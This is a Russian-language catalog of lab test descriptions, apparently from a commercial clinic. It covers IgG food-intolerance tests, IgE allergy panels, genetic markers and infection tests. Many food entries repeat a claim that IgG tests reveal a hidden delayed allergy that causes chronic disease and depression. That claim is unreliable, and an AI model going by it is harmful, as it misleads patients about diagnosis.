Арахис вызывает быстрое развитие симптомов пищевой непереносимости (уже через 1-3 дня после употребления его в пищу). Данный тест используется для диагностики пищевой непереносимости к арахису. Непереносимость пищевых продуктов встречается более часто по сравнению с пищевой аллергией и протекает по типу аллергических реакций с участием специфических иммуноглобулинов G (IgG-опосредованных). При этом развивается скрытая пищевая аллергия – аллергия замедленного типа, что более опасно, поскольку внешние клинические проявления заболевания будут развиваться медленно (до нескольких суток), а не редко, их вообще может не быть длительное время. Медленно прогрессирующие патологические процессы в органах и тканях организма часто могут приводить к хроническим заболеваниям желудочно-кишечного тракта, дыхательной, нервной систем, кожи, а также могут оказать негативное воздействие на психическую сферу (депрессии, гипервозбудимость у детей).
Гречневая мука вызывает медленное развитие симптомов пищевой непереносимости (не ранее чем через 3-5 дней после употребления ее в пищу). Данный тест используется для диагностики пищевой непереносимости к гречневой муке. Непереносимость пищевых продуктов встречается более часто по сравнению с пищевой аллергией и протекает по типу аллергических реакций с участием специфических иммуноглобулинов G (IgG-опосредованных). При этом развивается скрытая пищевая аллергия – аллергия замедленного типа, что более опасно, поскольку внешние клинические проявления заболевания будут развиваться медленно (до нескольких суток), а не редко, их вообще может не быть длительное время. Медленно прогрессирующие патологические процессы в органах и тканях организма часто могут приводить к хроническим заболеваниям желудочно-кишечного тракта, дыхательной, нервной систем, кожи, а также могут оказать негативное воздействие на психическую сферу (депрессии, гипервозбудимость у детей).
Зеленый горошек вызывает медленное развитие симптомов пищевой непереносимости (не ранее чем через 3-5 дней после употребления его в пищу). Данный тест используется для диагностики пищевой непереносимости к зеленому горошку. Непереносимость пищевых продуктов встречается более часто по сравнению с пищевой аллергией и протекает по типу аллергических реакций с участием специфических иммуноглобулинов G (IgG-опосредованных). При этом развивается скрытая пищевая аллергия – аллергия замедленного типа, что более опасно, поскольку внешние клинические проявления заболевания будут развиваться медленно (до нескольких суток), а не редко, их вообще может не быть длительное время. Медленно прогрессирующие патологические процессы в органах и тканях организма часто могут приводить к хроническим заболеваниям желудочно-кишечного тракта, дыхательной, нервной систем, кожи, а также могут оказать негативное воздействие на психическую сферу (депрессии, гипервозбудимость у детей).
Коровье молоко, как этиологический фактор пищевой аллергии относят к высокой степени аллергизирующей активности (без учета индивидуальных особенностей). В качестве аллергенов (антигенов) коровьего молока могут выступать: казеин, бета-лактоглобулин и альфа-лактоальбумин. Аллергия может проявляться заболеваниями пищеварительной системы (аллергический стоматит, хейлит, гастрит, гастроэнтерит, энтерит, колит), кожи (атопический дерматит, крапивница, отек Квинке), органов дыхания (аллергический ринит, бронхиальная астма, аллергическая пневмония). Аллергическая реакция может быть резко выражена, вплоть до анафилактического шока.
Миндаль вызывает быстрое развитие симптомов пищевой непереносимости (уже через 1-3 дня после употребления его в пищу). Данный тест используется для диагностики пищевой непереносимости к миндалю. Непереносимость пищевых продуктов встречается более часто по сравнению с пищевой аллергией и протекает по типу аллергических реакций с участием специфических иммуноглобулинов G (IgG-опосредованных). При этом развивается скрытая пищевая аллергия – аллергия замедленного типа, что более опасно, поскольку внешние клинические проявления заболевания будут развиваться медленно (до нескольких суток), а не редко, их вообще может не быть длительное время. Медленно прогрессирующие патологические процессы в органах и тканях организма часто могут приводить к хроническим заболеваниям желудочно-кишечного тракта, дыхательной, нервной систем, кожи, а также могут оказать негативное воздействие на психическую сферу (депрессии, гипервозбудимость у детей).
Пироглифидный клещь Dermatophagoides farinae является одним из основных компонентов в составе домашней пыли. Клещевые аллергены синтезируются в организме клеща и выделяются в окружающую среду вместе с его фекалиями. Они легко поднимаются в воздух при уборке помещений и находятся в воздухе до 20 мин, оседая на слизистых оболочках верхних дыхательных путей, быстро растворяясь, проникают в организм человека. Аллергия может проявиться в виде таких заболеваний как атопический дерматит, крапивница, отек Квинке, аллергический ринит, аллергический конъюнктивит. Определение специфического иммуноглобулина G используется для диагностики замедленно протекающей аллергической реакции, а также для контроля проведенной терапии.
Соевые бобы вызывают быстрое развитие симптомов пищевой непереносимости (уже через 1-3 дня после употребления их в пищу). Данный тест используется для диагностики пищевой непереносимости к соевым бобам. Непереносимость пищевых продуктов встречается более часто по сравнению с пищевой аллергией и протекает по типу аллергических реакций с участием специфических иммуноглобулинов G (IgG-опосредованных). При этом развивается скрытая пищевая аллергия – аллергия замедленного типа, что более опасно, поскольку внешние клинические проявления заболевания будут развиваться медленно (до нескольких суток), а не редко, их вообще может не быть длительное время. Медленно прогрессирующие патологические процессы в органах и тканях организма часто могут приводить к хроническим заболеваниям желудочно-кишечного тракта, дыхательной, нервной систем, кожи, а также могут оказать негативное воздействие на психическую сферу (депрессии, гипервозбудимость у детей).
Мясо форели вызывает развитие симптомов пищевой непереносимости через 5-10 дней после употребления его в пищу. Данный тест используется для диагностики пищевой непереносимости к форели. Непереносимость пищевых продуктов встречается более часто по сравнению с пищевой аллергией и протекает по типу аллергических реакций с участием специфических иммуноглобулинов G (IgG-опосредованных). При этом развивается скрытая пищевая аллергия – аллергия замедленного типа, что более опасно, поскольку внешние клинические проявления заболевания будут развиваться медленно (до нескольких суток), а не редко, их вообще может не быть длительное время. Медленно прогрессирующие патологические процессы в органах и тканях организма часто могут приводить к хроническим заболеваниям желудочно-кишечного тракта, дыхательной, нервной систем, кожи, а также могут оказать негативное воздействие на психическую сферу (депрессии, гипервозбудимость у детей).
Фундук вызывает быстрое развитие симптомов пищевой непереносимости (уже через 1-3 дня после употребления его в пищу). Данный тест используется для диагностики пищевой непереносимости к фундуку. Непереносимость пищевых продуктов встречается более часто по сравнению с пищевой аллергией и протекает по типу аллергических реакций с участием специфических иммуноглобулинов G (IgG-опосредованных). При этом развивается скрытая пищевая аллергия – аллергия замедленного типа, что более опасно, поскольку внешние клинические проявления заболевания будут развиваться медленно (до нескольких суток), а не редко, их вообще может не быть длительное время. Медленно прогрессирующие патологические процессы в органах и тканях организма часто могут приводить к хроническим заболеваниям желудочно-кишечного тракта, дыхательной, нервной систем, кожи, а также могут оказать негативное воздействие на психическую сферу (депрессии, гипервозбудимость у детей).
Шоколад вызывает быстрое развитие симптомов пищевой непереносимости (уже через 1-3 дня после употребления его в пищу). Данный тест используется для диагностики пищевой непереносимости к шоколаду. Непереносимость пищевых продуктов встречается более часто по сравнению с пищевой аллергией и протекает по типу аллергических реакций с участием специфических иммуноглобулинов G (IgG-опосредованных). При этом развивается скрытая пищевая аллергия – аллергия замедленного типа, что более опасно, поскольку внешние клинические проявления заболевания будут развиваться медленно (до нескольких суток), а не редко, их вообще может не быть длительное время. Медленно прогрессирующие патологические процессы в органах и тканях организма часто могут приводить к хроническим заболеваниям желудочно-кишечного тракта, дыхательной, нервной систем, кожи, а также могут оказать негативное воздействие на психическую сферу (депрессии, гипервозбудимость у детей).
Основной аллерген кошки, выделяющийся со слюной, а у котов данный аллерген обнаруживается в моче. Выраженность аллергической реакции больных на данный аллерген может существенно варьировать на разные породы кошек, но удаление кошки из квартиры аллергика является обязательным условием для уменьшения сенсибилизации организма. Однако, следует учитывать, что даже после удаления кошки из квартиры уровень аллергена сохраняется на довольно высоком уровне не менее 6 месяцев. Определение уровня IgG на данный аллерген используется для контроля проведенной терапии и оценки снижения уровня сенсибилизации организма, а также для оценки напряженности иммунитета у обследуемых лиц.
Основной, клинически значимый аллерген собаки — липокалин. Он связан в основном с более крупными, чем кошачий аллерген е1, частицами (более 9 мкм). Часто у пациентов с сенсибилизацией к собачьим аллергенам за счет перекрестной реактивности можно наблюдать аллергические реакции на других животных, например кошку. Устойчив во внешней среде, и может обнаруживаться до полугода на частицах пыли в квартире аллергика.
Яичный белок вызывает быстрое развитие симптомов пищевой непереносимости (уже через 1-3 дня после употребления в пищу куриных яиц). Данный тест используется для диагностики пищевой непереносимости к яичному белку. Непереносимость пищевых продуктов встречается более часто по сравнению с пищевой аллергией и протекает по типу аллергических реакций с участием специфических иммуноглобулинов G (IgG-опосредованных). При этом развивается скрытая пищевая аллергия – аллергия замедленного типа, что более опасно, поскольку внешние клинические проявления заболевания будут развиваться медленно (до нескольких суток), а не редко, их вообще может не быть длительное время. Медленно прогрессирующие патологические процессы в органах и тканях организма часто могут приводить к хроническим заболеваниям желудочно-кишечного тракта, дыхательной, нервной систем, кожи, а также могут оказать негативное воздействие на психическую сферу (депрессии, гипервозбудимость у детей).
Кунжут вызывает быстрое развитие симптомов пищевой непереносимости (уже через 1-3 дня после употребления его в пищу). Данный тест используется для диагностики пищевой непереносимости к кунжуту. Непереносимость пищевых продуктов встречается более часто по сравнению с пищевой аллергией и протекает по типу аллергических реакций с участием специфических иммуноглобулинов G (IgG-опосредованных). При этом развивается скрытая пищевая аллергия – аллергия замедленного типа, что более опасно, поскольку внешние клинические проявления заболевания будут развиваться медленно (до нескольких суток), а не редко, их вообще может не быть длительное время. Медленно прогрессирующие патологические процессы в органах и тканях организма часто могут приводить к хроническим заболеваниям желудочно-кишечного тракта, дыхательной, нервной систем, кожи, а также могут оказать негативное воздействие на психическую сферу (депрессии, гипервозбудимость у детей).
Фасоль белая вызывает медленное развитие симптомов пищевой непереносимости (не ранее чем через 5-7 дней после употребления ее в пищу). Данный тест используется для диагностики пищевой непереносимости к белой фасоли. Непереносимость пищевых продуктов встречается более часто по сравнению с пищевой аллергией и протекает по типу аллергических реакций с участием специфических иммуноглобулинов G (IgG-опосредованных). При этом развивается скрытая пищевая аллергия – аллергия замедленного типа, что более опасно, поскольку внешние клинические проявления заболевания будут развиваться медленно (до нескольких суток), а не редко, их вообще может не быть длительное время. Медленно прогрессирующие патологические процессы в органах и тканях организма часто могут приводить к хроническим заболеваниям желудочно-кишечного тракта, дыхательной, нервной систем, кожи, а также могут оказать негативное воздействие на психическую сферу (депрессии, гипервозбудимость у детей).
Орех кешью вызывает быстрое развитие симптомов пищевой непереносимости (уже через 1-3 дня после употребления его в пищу). Данный тест используется для диагностики пищевой непереносимости к орехам кешью. Непереносимость пищевых продуктов встречается более часто по сравнению с пищевой аллергией и протекает по типу аллергических реакций с участием специфических иммуноглобулинов G (IgG-опосредованных). При этом развивается скрытая пищевая аллергия – аллергия замедленного типа, что более опасно, поскольку внешние клинические проявления заболевания будут развиваться медленно (до нескольких суток), а не редко, их вообще может не быть длительное время. Медленно прогрессирующие патологические процессы в органах и тканях организма часто могут приводить к хроническим заболеваниям желудочно-кишечного тракта, дыхательной, нервной систем, кожи, а также могут оказать негативное воздействие на психическую сферу (депрессии, гипервозбудимость у детей).
Фисташковые орехи вызывают быстрое развитие симптомов пищевой непереносимости (уже через 1-3 дня после употребления их в пищу). Данный тест используется для диагностики пищевой непереносимости к фисташковым орехам. Непереносимость пищевых продуктов встречается более часто по сравнению с пищевой аллергией и протекает по типу аллергических реакций с участием специфических иммуноглобулинов G (IgG-опосредованных). При этом развивается скрытая пищевая аллергия – аллергия замедленного типа, что более опасно, поскольку внешние клинические проявления заболевания будут развиваться медленно (до нескольких суток), а не редко, их вообще может не быть длительное время. Медленно прогрессирующие патологические процессы в органах и тканях организма часто могут приводить к хроническим заболеваниям желудочно-кишечного тракта, дыхательной, нервной систем, кожи, а также могут оказать негативное воздействие на психическую сферу (депрессии, гипервозбудимость у детей).
Анализ для определения в крови специфических иммуноглобулинов Е к акрилу - компоненту многих медицинских изделий, в частности - перчаток. Акрил может выступать как профессиональный аллерген у работников медицины, а также людей других профессий, которые сталкиваются с данным материалом в быту или в связи с производственной необходимостью. Анализ способен выявить только активную форму аллергии, когда организм уже сталкивался с акрилом и имеет пул наработанных IgE. Таким образом, отрицательный результат исследования не является гарантией того, что аллергическая реакция на данный материал не разовьется. Исследование проводится только на 1-й тип аллергических реакций. Отрицательный результат теста не может дать гарантию в отсутствии аллергической реакции другого типа.
Артикаин (ультракаин) - местный анестетик амидного типа ряда тиафенов. Аллергия к данному препарату встречается редко и может проявляться в виде кожной сыпи, зуда вокруг места укола, ринита, а в тяжелых случаях в виде ангионевротического отека и анафилактического шока. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве указывает на наличие сенсибилизации организма к этому аллергену. Исследование проводится только на 1-й тип аллергических реакций. Отрицательный результат теста не может дать гарантию в отсутствии аллергической реакции другого типа.
Аллергия к данному препарату встречается редко и может проявляться в виде кожной сыпи, зуда вокруг места укола, ринита, а в тяжелых случаях в виде отека Квинке и анафилактического шока. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве указывает на наличие сенсибилизации организма к этому аллергену. Исследование проводится только на 1-й тип аллергических реакций. Отрицательный результат теста не может дать гарантию в отсутствии аллергической реакции другого типа.
Аллергия к данному препарату встречается довольно часто и может проявляться в виде кожной сыпи, крапивницы (на коже и слизистых оболочках), зуда кожи, и таких тяжелых аллергических реакций как ангионевротический отек, анафилактический шок. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве указывает на наличие сенсибилизации организма к этому аллергену. Исследование проводится только на 1-й тип аллергических реакций. Отрицательный результат теста не может дать гарантию в отсутствии аллергической реакции другого типа.
Аллергия к данному препарату встречается довольно часто и может проявляться в виде кожной сыпи, крапивницы (на коже и слизистых оболочках), зуда кожи, и таких тяжелых аллергических реакций как ангионевротический отек, анафилактический шок. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве указывает на наличие сенсибилизации организма к этому аллергену. Исследование проводится только на 1-й тип аллергических реакций. Отрицательный результат теста не может дать гарантию в отсутствии аллергической реакции другого типа.
Аллергия к данному препарату встречается довольно часто и может проявляться в виде кожной сыпи, крапивницы (на коже и слизистых оболочках), зуда кожи, и таких тяжелых аллергических реакций как ангионевротический отек, анафилактический шок. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве указывает на наличие сенсибилизации организма к этому аллергену. Исследование проводится только на 1-й тип аллергических реакций. Отрицательный результат теста не может дать гарантию в отсутствии аллергической реакции другого типа.
Аллергия к данному препарату встречается довольно часто и может проявляться в виде кожной сыпи, крапивницы (на коже и слизистых оболочках), зуда кожи, и таких тяжелых аллергических реакций как ангионевротический отек, анафилактический шок. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве указывает на наличие сенсибилизации организма к этому аллергену. Исследование проводится только на 1-й тип аллергических реакций. Отрицательный результат теста не может дать гарантию в отсутствии аллергической реакции другого типа.
Аллергия к данному препарату встречается довольно часто и может проявляться в виде кожной сыпи, крапивницы (на коже и слизистых оболочках), зуда кожи, и таких тяжелых аллергических реакций как ангионевротический отек, анафилактический шок. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве указывает на наличие сенсибилизации организма к этому аллергену. Исследование проводится только на 1-й тип аллергических реакций. Отрицательный результат теста не может дать гарантию в отсутствии аллергической реакции другого типа.
Аллергия к данному препарату встречается довольно часто и может проявляться в виде кожной сыпи, крапивницы (на коже и слизистых оболочках), зуда кожи, и таких тяжелых аллергических реакций как ангионевротический отек, анафилактический шок. Определение специфического иммуноглобулина Е к данному аллергену в повышенном количестве указывает на наличие сенсибилизации организма к этому аллергену. Исследование проводится только на 1-й тип аллергических реакций. Отрицательный результат теста не может дать гарантию в отсутствии аллергической реакции другого типа.
Наиболее распространенным видом аллергии является пыльцевая аллергия, которая как правило имеет сезонный характер и приурочена к периодам цветения растений к пыльце которых имеется сенсибилизация. Амброзия обыкновенная, полынь обыкновенная, подорожник, зольник/ cолянка, одуванчик лекарственный распространены в одной географической широте, цветут примерно в одно время (июнь - август) и очень часто имеются перекрестные аллергические реакции на пыльцу этих трав – вот основные причины того, что эти аллергены собраны в одну панель. Аллергия проявляется обильным слезотечением, выделяемым из носовой полости; реже кожными проявлениями; в тяжелых случаях приступами удушья, крапивницей, отеком Квинке, сезонного пыльцевого дерматита с сильным зудом и разнообразными высыпаниями. Данное исследование позволяет определить наличие сенсибилизации организма человека к этим аллергенам. * Под аллергологическими исследованиями, содержащими в своем названии словосочетание «панель аллергенов», подразумевается комплексное скрининговое исследование, которое позволяет выявить сенсибилизацию (повышенную чувствительность организма) к определенной группе аллергенов. При этом результат данного исследования не предполагает выявления сенсибилизации к каждому конкретному аллергену, входящему в эту группу.
Наиболее распространенным видом аллергии является пыльцевая аллергия, которая, как правило, имеет сезонный характер и приурочена к периодам цветения растений к пыльце которых имеется сенсибилизация. Ежа сборная, тимофеевка, конский каштан, амброзия обыкновенная, полынь обыкновенная распространены в одной географической широте, цветут примерно в одно время (май – июль) и очень часто имеются перекрестные аллергические реакции на пыльцу этих трав – вот основные причины того, что эти аллергены собраны в одну панель. Аллергия проявляется обильным слезотечением, выделяемым из носовой полости; реже кожными проявлениями; в тяжелых случаях приступами удушья, крапивницей, отеком Квинке, сезонного пыльцевого дерматита с сильным зудом и разнообразными высыпаниями. Данное исследование позволяет определить наличие сенсибилизации организма человека к этим аллергенам. * Под аллергологическими исследованиями, содержащими в своем названии словосочетание «панель аллергенов», подразумевается комплексное скрининговое исследование, которое позволяет выявить сенсибилизацию (повышенную чувствительность организма) к определенной группе аллергенов. При этом результат данного исследования не предполагает выявления сенсибилизации к каждому конкретному аллергену, входящему в эту группу.
Количественное определение в крови специфических антител, иммуноглобулинов класса E, появляющихся при наличии аллергической реакции к эпителию и перхоти кошки. Данный анализ используется: для диагностики аллергических заболеваний, вызванных эпителием или перхотью кошки; для оценки риска развития аллергических реакций на перхоть и эпителий кошки. Данный анализ назначается: при наличии следующих, указывающих на аллергический характер, симптомов: покраснение и жжение слизистой глаз, слезотечение и отёк век, заложенность носа, чихание, кашель, одышка, бронхоспазм и др.; для оценки проводимого медикаментозного лечения и Аллерген-специфической иммунотерапии (АСИТ); детям, если их родители страдают аллергическими заболеваниями, в том числе проявляющимися при контакте с эпителием и перхотью кошки.
Количественное определение в крови специфических антител, иммуноглобулинов класса E, появляющихся при наличии аллергической реакции к перхоти собаки. Данный анализ используется: для диагностики аллергических заболеваний, вызванных перхотью собаки; для оценки риска развития аллергических реакций на перхоть собаки. Данный анализ назначается: при наличии следующих, указывающих на аллергический характер, симптомов: покраснение и жжение слизистой глаз, слезотечение и отёк век, заложенность носа, чихание, кашель, одышка, бронхоспазм и др.; для оценки проводимого медикаментозного лечения и Аллерген-специфической иммунотерапии (АСИТ); детям, если их родители страдают аллергическими заболеваниями, в том числе проявляющимися при контакте с перхотью собаки.
Количественное определение в крови специфических антител, иммуноглобулинов класса E, появляющихся при наличии аллергической реакции к яичному белку. Данный анализ используется: для диагностики аллергических заболеваний (пищевая аллергия, атопический дерматит, бронхиальная астма, аллергический ринит, респираторный аллергоз), для оценки риска развития аллергических реакций на яичный белок. Данный анализ назначается: при наличии следующих, указывающих на аллергический характер, симптомов при употреблении в пищу яиц и продуктов в приготовлении которых использовались яйца: покраснение и зуд кожи, ангионевротический отек, риноконъюнктивит, отек гортани, кашель и бронхоспазм, тошнота, рвота, боль в области живота и диарея и др.; при невозможности отмены препаратов для лечения основного заболевания, так как они могут повлиять на результаты кожного тестирования; при поражении кожных покровов, в острый период заболевания; при поливалентном характере сенсибилизации, когда нет возможности провести тестирование in vivo с предполагаемыми аллергенами; при ложноположительном или ложноотрицательном результате кожного тестирования; детям, если их родители страдают аллергическими заболеваниями; детям в возрасте до 5 лет (при невозможности выполнения кожных тестов).
Количественное определение в крови специфических антител, иммуноглобулинов класса E, появляющихся при наличии аллергической реакции к перу курицы. Данный анализ используется: для диагностики аллергических заболеваний (бронхиальная астма, аллергический ринит, респираторные аллергоз); для оценки риска развития аллергических реакций на перо курицы. Данный анализ назначается: при наличии следующих, указывающих на аллергический характер, симптомов: покраснение и жжение слизистой глаз, слезотечение и отёк век, заложенность носа, чихание, кашель, одышка, бронхоспазм и др.; при непрерывно рецидивирующем течении респираторных заболеваний без периодов ремиссии; при поливалентном характере сенсибилизации, когда нет возможности провести тестирование in vivo с предполагаемыми аллергенами; при ложноположительном или ложноотрицательном результате кожного тестирования; детям, если их родители страдают аллергическими заболеваниями, в том числе проявляющимися при контакте с куриными перьями.
Количественное определение в крови специфических антител, иммуноглобулинов класса E, появляющихся при наличии аллергической реакции к коровьему молоку. Данный анализ используется: для диагностики аллергических заболеваний (пищевая аллергия, атопический дерматит, бронхиальная астма, аллергический ринит, респираторный аллергоз); для оценки риска развития аллергических реакций на коровье молоко. Данный анализ назначается: при наличии следующих, указывающих на аллергический характер, симптомов при употреблении в пищу коровьего молока и молочных продуктов: покраснение и зуд кожи, ангионевротический отек, риноконъюнктивит, отек гортани, кашель и бронхоспазм, тошнота, рвота, боль в области живота и диарея и др.; при невозможности отмены препаратов для лечения основного заболевания, так как они могут повлиять на результаты кожного тестирования; при поражении кожных покровов, в острый период заболевания; при поливалентном характере сенсибилизации, когда нет возможности провести тестирование in vivo с предполагаемыми аллергенами; при ложноположительном или ложноотрицательном результате кожного тестирования; детям, если их родители страдают аллергическими заболеваниями; детям в возрасте до 5 лет (при невозможности выполнения кожных тестов).
Количественное определение в крови специфических антител, иммуноглобулинов класса E, появляющихся при наличии аллергической реакции к клещу домашней пыли Dermatofagoides farinae. Данный анализ используется: для диагностики аллергических заболеваний (бронхиальная астма, аллергический ринит, респираторный аллергоз); для оценки риска развития аллергических реакций на клеща домашней пыли Dermatofagoides farinae. Данный анализ назначается: при наличии следующих, указывающих на аллергический характер, симптомов: покраснение и жжение слизистой глаз, слезотечение и отёк век, заложенность носа, чихание, кашель, одышка, бронхоспазм и др.; при непрерывно рецидивирующем течении респираторных заболеваний без периодов ремиссии; при поливалентном характере сенсибилизации, когда нет возможности провести тестирование in vivo с предполагаемыми аллергенами; при ложноположительном или ложноотрицательном результате кожного тестирования; детям, если их родители страдают аллергическими заболеваниями, в том числе проявляющимися при контакте с домашней пылью (клещами домашней пыли Dermatofagoides farinae).
Количественное определение в крови специфических антител, иммуноглобулинов класса E, появляющихся при наличии аллергической реакции к гречихе. Данный анализ используется: для диагностики аллергических заболеваний (пищевая аллергия, атопический дерматит, бронхиальная астма, аллергический ринит, респираторный аллергоз); для оценки риска развития аллергических реакций на гречиху. Данный анализ назначается: при наличии следующих, указывающих на аллергический характер, симптомов при употреблении в пищу гречихи или гречневой муки: покраснение и зуд кожи, ангионевротический отек, риноконъюнктивит, отек гортани, кашель и бронхоспазм, тошнота, рвота, боль в области живота и диарея и др.; при невозможности отмены препаратов для лечения основного заболевания, так как они могут повлиять на результаты кожного тестирования; при поражении кожных покровов, в острый период заболевания; при поливалентном характере сенсибилизации, когда нет возможности провести тестирование in vivo с предполагаемыми аллергенами; при ложноположительном или ложноотрицательном результате кожного тестирования; детям, если их родители страдают аллергическими заболеваниями; детям в возрасте до 5 лет (при невозможности выполнения кожных тестов).
Белки рыб являются сильными аллергенами, большинство из которых являюся термостабильными и не разрушаются при кулинарной обработке. Морская рыба более аллергена, чем речная. Сенсибилизация к рыбе определяется у 10-40% аллергиков. К форели относится несколько разновидностей рыбы из семейства лососевых, которые обитают преимущественно в пресных водоемах. В пищу форель употребляется в запеченном, жареном, копченом или сыром виде. В одном исследовании у некоторых сенсибилизированных к треске детей были обнаружены повышенные уровни специфических IgE к форели. Однако, потенциальная перекрестная активность аллергенов форели и других рыб невысока. Некоторые пациенты могут быть сенсибилизированы к форели, и при этом не иметь реакции на другие виды рыбы, и наоборот. Повышенный уровень специфических IgE к форели отмечается у пациентов с атопическим дерматитом, поливалентной пищевой аллергией. Целью данного исследования является определение специфических IgE к форели методом ImmunoCAP. Аллергодиагностика технологией ImmunoCAP характеризуется высокой точностью и специфичностью, что достигается обнаружением в очень малом количестве крови пациента низких концентраций IgE-антител. Методика является революционной и основана на иммунофлюоресцентном методе, что позволяет увеличить чувствительность в несколько раз, по сравнению с другими диагностическими методами. Всемирная Организация Здравоохранения и Всемирная Организация Аллергологов признают диагностику с использованием ImmunoCAP как «золотой стандарт», так как эта методика доказала свою точность и стабильность результатов в независимых исследованиях. В Российской Федерации, до настоящего момента, технология ImmunoCAP не получила широкого распространения, хотя во всем мире до 80% определений специфических иммуноглобулинов класса Е выполняется данным методом. Таким образом, выявление специфических IgE с помощью данной методики выводит аллергодиагностику на качественно новый уровень.
Под аллергологическими исследованиями, содержащими в своем названии словосочетание «панель аллергенов», подразумевается комплексное скрининговое исследование, которое позволяет выявить сенсибилизацию (повышенную чувствительность организма) к определенной группе аллергенов. При этом результат данного исследования не предполагает выявления сенсибилизации к каждому конкретному аллергену, входящему в эту группу.
Под аллергологическими исследованиями, содержащими в своем названии словосочетание «панель аллергенов» подразумевается комплексное скрининговое исследование, которое позволяет выявить сенсибилизацию (повышенную чувствительность организма) к определенной группе аллергенов. При этом результат данного исследования не предполагает выявления сенсибилизации к конкретному аллергену, входящему в данную группу.
Количественное определение в крови специфических антител, иммуноглобулинов класса E, появляющихся при наличии аллергической реакции к амброзии высокой.
Исследование на наличие ВИЧ-инфекции может проводиться анонимно и конфиденциально. При конфиденциальном обследовании в обязательном порядке необходимо предъявление паспорта. Не курить в течение 30 минут до исследования.
Комплекс лабораторных показателей, направленных на выявление основных эндокринологических причин, способных вызвать нарушение менструального цикла. К нарушениям менструального цикла относят: - изменение длительности менструального цикла - аменорея, олигоменорея, полименорея; - аномальные маточные кровотечения – изменение объема, периодичности, длительности кровотечения при менструации; - дисменорею (альгодисменорея) – болезненные ощущения во время менструации. Наиболее частой патологической причиной нарушения менструального цикла являются заболевания эндокринной системы (нарушения функциональной активности гипоталамо-гипофизарной системы, надпочечников, яичников, щитовидной железы). Данный комплекс рекомендуется сдавать на 2-6-й день менструального цикла или строго по назначению врача, что связано с особенностью выработки гормонов организмом женщины в зависимости от фазы менструального цикла. При сдаче комплекса на 2-6-й день менструального цикла результаты анализов выдаются с комментариями, в случае сдачи комплекса в любой другой день цикла – комментарии к результатам не предусмотрены. При этом следует помнить, что в независимости от полученных результатов их необходимо обсудить с врачом-специалистом.
Лабораторное обследование по этой инновационной программе позволит выявить предпосылки к развитию заболеваний сердца и сосудов, как в ближайшее время, так и на годы вперед. Регулярное прохождение обследования дает возможность постоянно контролировать риск развития опасных сердечно-сосудистых заболеваний и их осложнений. Результаты обследования предоставляются в виде диаграммы, отражающей индивидуальную степень кардиологического риска. Также по результатам обследования выдается письменное заключение с подробными комментариями врача и персональными рекомендациями о регулярности прохождения обследования.
Тиреотропный гормон (ТТГ), Тироксин свободный (Т4 свободный), Интерпретация результатов исследования
Маркер связан с изменением активации протоонкогена MYC. Исследуется для выявления предрасположенности к колоректальному раку и раку простаты. OMIM: 611469.
Маркер связан с выявлением генетической предрасположенности к солечувствительной гипертонии. OMIM: 102680.
Маркер связан с особенностями структуры мышечных волокон. Исследуется для выявления генетической предрасположенности к различным видам спорта. OMIM: 102574.
Маркер связан с особенностями метаболизма алкоголя. Исследуется для выявления генетической предрасположенности к алкоголизму, связанной со скоростью окисления этанола до ацетальдегида в организме и степенью алкогольного отравления. OMIM: 103720.
Маркер связан с особенностями метаболизма алкоголя. Исследуется для выявления генетической предрасположенности к алкоголизму, связанной со скоростью окисления этанола до ацетальдегида в организме и степенью алкогольного отравления. OMIM: 103730.
Рак мочевого пузыря успешно лечится лишь в случае диагностирования на начальной стадии развития – до появления метастазов и распространения злокачественных клеток по крови и лимфатической системе. Белок p16ink4a является биологическим маркером начала канцерогенеза в переходном эпителии мочевого пузыря и почечной лоханки и используется для дифференциальной диагностики ВПЧ-ассоциированного рака мочевого пузыря (выявляется при переходе ВПЧ из эписомальной формы в интегрированную). Исследование маркера p16ink4a позволяет оценить прогноз заболевания и выбрать тактику лечения. Определение уровня экспрессии позволяет выявить степень нарушения пролиферации, сопутствующей опухолевому росту, способностью опухоли к инвазии и метастазированию.
Комплексное исследование, оценивающее микробиоценоз урогенитального тракта для определения возможных инфекций.
Выявление возбудителя норовирусной инфекции (Norovirus II генотипа), в ходе которого с помощью метода полимеразной цепной реакции в реальном времени (реал-тайм ПЦР) определяется генетический материал (РНК) норовирусов в образце кала.
Исследование, направленное на выявление инфицированности клещей возбудителями клещевого энцефалита и системного клещевого боррелиоза (болезни Лайма). * Удаление клеща в Центре не производится. Клещ доставляется в Центр в пластиковом аптечном контейнере. Срок выполнения: до 5 суток. Указанный срок не включает день взятия биоматериала. В случае сдачи в пятницу или субботу, срок выполнения увеличивается на 2 суток
Показатель, рассчитываемый на основании уровня онкомаркеров CA 125 и HE 4 и менопаузального статуса пациентки, используемый для определения у женщин с образованиями в малом тазу высокого и низкого риска по раку яичника. Данный анализ применяется для женщин в период постменопаузы.
Лабораторный алгоритм диагностики TORCH-инфекций - токсоплазмоза, краснухи, цитомегаловируса и герпеса. Включает одновременное определение присутствия антител классов M и G. Такой подход позволяет оценить динамику развития инфекционного процесса в текущий момент времени, определить сроки первичного заражения и давность заболевания.
Тест, включающий наиболее полную и комплексную этиологическую диагностику острых и хронических заболеваний и оценку микробиоты урогенитального тракта у мужчин. Учет и интерпретация результатов реакции осуществляется автоматически. Результат теста включает ряд показателей: уровень геномной ДНК человека, общей бактериальной массы (ОБМ), суммарные титры нормальной микрофлоры, а также основных представителей условно-патогенной и патогенной микрофлоры. При наличии в исследуемом образце ДНК условно-патогенных микроорганизмов указывается их количество, при отсутствии указывается «не выявлено». Моча рекомендована только для идентификации патогенов в острый период.
Определение в крови белка S-100, используемое для диагностики, оценки прогноза и контроля лечения некоторых онкологических, неврологических, воспалительных и других заболеваний.
ФНО - регуляторный гликопротеид, названный так из-за своего свойства вызывать некроз опухолевых клеток. Имеет две формы альфа и бета. ФНО-альфа участвует в иммунном ответе опосредуя пролиферацию лимфоцитов, активируя адгезию лейкоцитов к эндотелию, оказывает пирогенный эффект на организм в целом. Высокие концентрации фактора некроза опухоли способны провоцировать развитие септического шока при инфекционных заболеваниях. Определение концентрации ФНО в крови используется при выборе терапии и определении прогноза при септических состояниях, ревматоидном артрите, димиелинизирующих аутоиммунных заболеваниях, вирусном гепатите С. Исследование количества ФНО в культуре клеток позволяет сделать вывод об активности синтеза данного цитокина лимфоцитами.
